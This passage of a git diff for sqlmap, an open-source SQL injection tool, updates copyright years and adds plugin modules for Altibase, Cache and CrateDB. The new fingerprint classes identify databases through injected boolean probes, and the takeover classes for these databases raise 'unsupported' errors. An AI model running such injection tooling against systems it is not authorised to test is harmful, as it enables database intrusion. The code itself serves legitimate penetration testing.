@@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -31,7 +31,7 @@ def run(self): thread.start() thread.join(duration) - if thread.isAlive(): + if thread.is_alive(): return default, TIMEOUT_STATE.TIMEOUT else: return thread.result, thread.timeout_state diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 0e0ebeaa090..eccd85670c2 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 6d51e12be02..679c0f9558e 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/__init__.py b/plugins/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index 28d260eec09..77216178331 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 7dec85d6758..0ab8711999e 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index cc691205bbb..0d812e5605c 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -10,7 +10,7 @@ class Enumeration(GenericEnumeration): def getBanner(self): - warnMsg = "on Microsoft Access it is not possible to get a banner" + warnMsg = "on Microsoft Access it is not possible to get the banner" logger.warn(warnMsg) return None diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index ddc220d9a88..0841fa1ea09 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 967d1d3e111..33999dcd92e 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index 21881cd15ac..3f6fa30bad1 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index e134d0dab8e..7d023411cf8 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/__init__.py b/plugins/dbms/altibase/__init__.py new file mode 100644 index 00000000000..7db8a7c1eae --- /dev/null +++ b/plugins/dbms/altibase/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import ALTIBASE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.altibase.enumeration import Enumeration +from plugins.dbms.altibase.filesystem import Filesystem +from plugins.dbms.altibase.fingerprint import Fingerprint +from plugins.dbms.altibase.syntax import Syntax +from plugins.dbms.altibase.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class AltibaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Altibase methods + """ + + def __init__(self): + self.excludeDbsList = ALTIBASE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.ALTIBASE] = Syntax.escape diff --git a/plugins/dbms/altibase/connector.py b/plugins/dbms/altibase/connector.py new file mode 100644 index 00000000000..9f7fe68891e --- /dev/null +++ b/plugins/dbms/altibase/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Altibase it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/altibase/enumeration.py b/plugins/dbms/altibase/enumeration.py new file mode 100644 index 00000000000..0197b91f01f --- /dev/null +++ b/plugins/dbms/altibase/enumeration.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getStatements(self): + warnMsg = "on Altibase it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] + + def getHostname(self): + warnMsg = "on Altibase it is not possible to enumerate the hostname" + logger.warn(warnMsg) diff --git a/plugins/dbms/altibase/filesystem.py b/plugins/dbms/altibase/filesystem.py new file mode 100644 index 00000000000..ed68f5ab389 --- /dev/null +++ b/plugins/dbms/altibase/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/altibase/fingerprint.py b/plugins/dbms/altibase/fingerprint.py new file mode 100644 index 00000000000..1b7db3c1913 --- /dev/null +++ b/plugins/dbms/altibase/fingerprint.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import ALTIBASE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.ALTIBASE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.ALTIBASE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(ALTIBASE_ALIASES): + setDbms(DBMS.ALTIBASE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.ALTIBASE + logger.info(infoMsg) + + # Reference: http://support.altibase.com/fileDownload.do?gubun=admin&no=228 + result = inject.checkBooleanExpression("CHOSUNG(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.ALTIBASE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TDESENCRYPT(NULL,NULL) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE + logger.warn(warnMsg) + + return False + + setDbms(DBMS.ALTIBASE) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/altibase/syntax.py b/plugins/dbms/altibase/syntax.py new file mode 100644 index 00000000000..f59b9cb9c8d --- /dev/null +++ b/plugins/dbms/altibase/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/altibase/takeover.py b/plugins/dbms/altibase/takeover.py new file mode 100644 index 00000000000..68f05bd53ad --- /dev/null +++ b/plugins/dbms/altibase/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Altibase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Altibase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Altibase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Altibase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/cache/__init__.py b/plugins/dbms/cache/__init__.py new file mode 100644 index 00000000000..5a8099d0dfc --- /dev/null +++ b/plugins/dbms/cache/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CACHE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.cache.enumeration import Enumeration +from plugins.dbms.cache.filesystem import Filesystem +from plugins.dbms.cache.fingerprint import Fingerprint +from plugins.dbms.cache.syntax import Syntax +from plugins.dbms.cache.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class CacheMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Cache methods + """ + + def __init__(self): + self.excludeDbsList = CACHE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CACHE] = Syntax.escape diff --git a/plugins/dbms/cache/connector.py b/plugins/dbms/cache/connector.py new file mode 100644 index 00000000000..e88537d1385 --- /dev/null +++ b/plugins/dbms/cache/connector.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import jaydebeapi + import jpype +except: + pass + +import logging + +from lib.core.common import checkFile +from lib.core.common import getSafeExString +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/ + User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html + API: - + Debian package: - + License: LGPL & Apache License 2.0 + """ + + def connect(self): + self.initConnection() + try: + msg = "please enter the location of 'cachejdbc.jar'? " + jar = readInput(msg) + checkFile(jar) + args = "-Djava.class.path=%s" % jar + jvm_path = jpype.getDefaultJVMPath() + jpype.startJVM(jvm_path, args) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + try: + driver = 'com.intersys.jdbc.CacheDriver' + connection_string = 'jdbc:Cache://%s:%d/%s' % (self.hostname, self.port, self.db) + self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except Exception as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except Exception as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/cache/enumeration.py b/plugins/dbms/cache/enumeration.py new file mode 100644 index 00000000000..daa80ebe330 --- /dev/null +++ b/plugins/dbms/cache/enumeration.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from lib.core.settings import CACHE_DEFAULT_SCHEMA +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getCurrentDb(self): + return CACHE_DEFAULT_SCHEMA + + def getUsers(self): + warnMsg = "on Cache it is not possible to enumerate the users" + logger.warn(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Cache it is not possible to enumerate password hashes" + logger.warn(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Cache it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on Cache it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] + + def getRoles(self, *args, **kwargs): + warnMsg = "on Cache it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Cache it is not possible to enumerate the hostname" + logger.warn(warnMsg) diff --git a/plugins/dbms/cache/filesystem.py b/plugins/dbms/cache/filesystem.py new file mode 100644 index 00000000000..ed68f5ab389 --- /dev/null +++ b/plugins/dbms/cache/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/cache/fingerprint.py b/plugins/dbms/cache/fingerprint.py new file mode 100644 index 00000000000..b67a6685696 --- /dev/null +++ b/plugins/dbms/cache/fingerprint.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS +from lib.core.session import setDbms +from lib.core.settings import CACHE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CACHE) + + def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("$ZVERSION LIKE '%IRIS%'"): + fork = FORK.IRIS + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CACHE + if fork: + value += " (%s fork)" % fork + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CACHE_ALIASES): + setDbms(DBMS.CACHE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CACHE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("$LISTLENGTH(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.CACHE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("%EXTERNAL %INTERNAL NULL IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE + logger.warn(warnMsg) + + return False + + setDbms(DBMS.CACHE) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/cache/syntax.py b/plugins/dbms/cache/syntax.py new file mode 100644 index 00000000000..576bef8c450 --- /dev/null +++ b/plugins/dbms/cache/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/cache/takeover.py b/plugins/dbms/cache/takeover.py new file mode 100644 index 00000000000..1dc45ef0124 --- /dev/null +++ b/plugins/dbms/cache/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Cache it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Cache it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Cache it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Cache it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/cratedb/__init__.py b/plugins/dbms/cratedb/__init__.py new file mode 100644 index 00000000000..349f7fa2e2c --- /dev/null +++ b/plugins/dbms/cratedb/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CRATEDB_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.cratedb.enumeration import Enumeration +from plugins.dbms.cratedb.filesystem import Filesystem +from plugins.dbms.cratedb.fingerprint import Fingerprint +from plugins.dbms.cratedb.syntax import Syntax +from plugins.dbms.cratedb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class CrateDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines CrateDB methods + """ + + def __init__(self): + self.excludeDbsList = CRATEDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CRATEDB] = Syntax.escape diff --git a/plugins/dbms/cratedb/connector.py b/plugins/dbms/cratedb/connector.py new file mode 100644 index 00000000000..17ae00b270c --- /dev/null +++ b/plugins/dbms/cratedb/connector.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import psycopg2 + import psycopg2.extensions + psycopg2.extensions.register_type(psycopg2.extensions.UNICODE) + psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY) +except: + pass + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: http://initd.org/psycopg/ + User guide: http://initd.org/psycopg/docs/ + API: http://initd.org/psycopg/docs/genindex.html + Debian package: python-psycopg2 + License: GPL + + Possible connectors: http://wiki.python.org/moin/PostgreSQL + """ + + def connect(self): + self.initConnection() + + try: + self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) + except psycopg2.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.set_client_encoding('UNICODE') + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except psycopg2.ProgrammingError as ex: + logger.warn(getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: + logger.warn(("(remote) '%s'" % getSafeExString(ex)).strip()) + except psycopg2.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/plugins/dbms/cratedb/enumeration.py b/plugins/dbms/cratedb/enumeration.py new file mode 100644 index 00000000000..3a1a80b25ba --- /dev/null +++ b/plugins/dbms/cratedb/enumeration.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on CrateDB it is not possible to enumerate the user password hashes" + logger.warn(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on CrateDB it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} diff --git a/plugins/dbms/cratedb/filesystem.py b/plugins/dbms/cratedb/filesystem.py new file mode 100644 index 00000000000..ed68f5ab389 --- /dev/null +++ b/plugins/dbms/cratedb/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/cratedb/fingerprint.py b/plugins/dbms/cratedb/fingerprint.py new file mode 100644 index 00000000000..86a21d06ee0 --- /dev/null +++ b/plugins/dbms/cratedb/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CRATEDB_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CRATEDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CRATEDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CRATEDB_ALIASES): + setDbms(DBMS.CRATEDB) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CRATEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("IGNORE3VL(NULL IS NULL)") + + if result: + infoMsg = "confirming %s" % DBMS.CRATEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("1~1") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB + logger.warn(warnMsg) + + return False + + setDbms(DBMS.CRATEDB) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/cratedb/syntax.py b/plugins/dbms/cratedb/syntax.py new file mode 100644 index 00000000000..eadbee04f15 --- /dev/null +++ b/plugins/dbms/cratedb/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/cratedb/takeover.py b/plugins/dbms/cratedb/takeover.py new file mode 100644 index 00000000000..6ee845590cc --- /dev/null +++ b/plugins/dbms/cratedb/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on CrateDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on CrateDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on CrateDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on CrateDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/cubrid/__init__.py b/plugins/dbms/cubrid/__init__.py new file mode 100644 